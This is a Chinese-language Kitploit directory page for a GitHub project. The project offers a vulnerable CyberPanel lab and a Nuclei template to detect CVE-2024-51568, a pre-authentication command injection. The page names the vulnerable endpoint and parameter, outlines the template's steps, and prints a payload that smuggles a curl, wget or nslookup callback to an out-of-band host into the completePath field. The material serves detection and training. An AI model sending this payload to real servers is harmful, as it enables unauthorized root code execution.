Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template — Proof-of-concept 环境及 Nuclei 模板,用于测试 CVE-2024-51568——CyberPanel 中的预认证命令注入漏洞,可实现具有 root 权限的远程代码执行。 | Kitploit
工具/GitHubGitHub/jsnv-dev/cve-2024-51568---cyberpanel-command-injection-nuclei-template
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育实验室与实践
GitHubjsnv-dev/cve-2024-51568---cyberpanel-command-injection-nuclei-template

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

Proof-of-concept 环境及 Nuclei 模板,用于测试 CVE-2024-51568——CyberPanel 中的预认证命令注入漏洞,可实现具有 root 权限的远程代码执行。

查看仓库
1131年前尚未审核
分享

CVE-2024-51568 - CyberPanel 命令注入 PoC

一个用于测试 CVE-2024-51568(CyberPanel 中一个严重的未授权命令注入漏洞)的概念验证环境和 Nuclei 模板。

漏洞详情

  • CVE:CVE-2024-51568
  • 严重性:严重(CVSS 9.8)
  • 类型:未授权命令注入
  • 端点:/filemanager/upload
  • 参数:completePath
  • 影响:以 root 权限远程执行代码

快速开始

1. 启动漏洞环境

root@kitploit:~
cd docker/
docker-compose up -d --build

2. 验证 CyberPanel 是否运行

root@kitploit:~
curl -I http://localhost:8090

3. 测试漏洞

root@kitploit:~
nuclei -t template/cve-2024-51568.yaml -u http://localhost:8090

示例输出:

root@kitploit:~
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[CVE-2024-51568] [http] [critical] http://localhost:8090/filemanager/upload
[INF] Scan completed in 5.706766772s. 1 matches found.

工作原理

漏洞原理

CyberPanel v2.3.4 的文件上传功能中存在命令注入缺陷:

  1. 端点:POST /filemanager/upload
  2. 参数:multipart 表单数据中的 completePath
  3. 注入方式:命令通过 ProcessUtilities.outputExecutioner() 执行
  4. 绕过:由于中间件绕过,无需认证

Nuclei 模板:

  1. 从初始 GET 请求中提取 CSRF 令牌
  2. 在 completePath 中通过注入命令发送恶意文件上传
  3. 使用 Interactsh 进行带外检测(HTTP/DNS 回调)
  4. 当服务器联系 Interactsh URL 时检测到成功执行

检测载荷

root@kitploit:~
/dev/null; curl {{interactsh-url}} || wget {{interactsh-url}} || nslookup {{interactsh-url}}; #

该载荷确保在不同系统配置下都能可靠检测。

配置

CyberPanel 访问

  • URL:http://localhost:8090
  • 管理员:admin
  • 密码:1234567

参考

  • 原始研究
  • Metasploit 模块
  • CVE 详情

安全提示

此环境包含故意引入的漏洞,仅用于安全研究和教育:

  • 请勿部署到生产环境
  • 请勿暴露到公共网络
  • 请勿在非您拥有的系统上使用
  • 仅可进行授权的安全测试

免责声明

本概念验证仅用于教育和授权的安全测试目的。用户有责任遵守适用法律并在测试前获得适当授权。

下载工具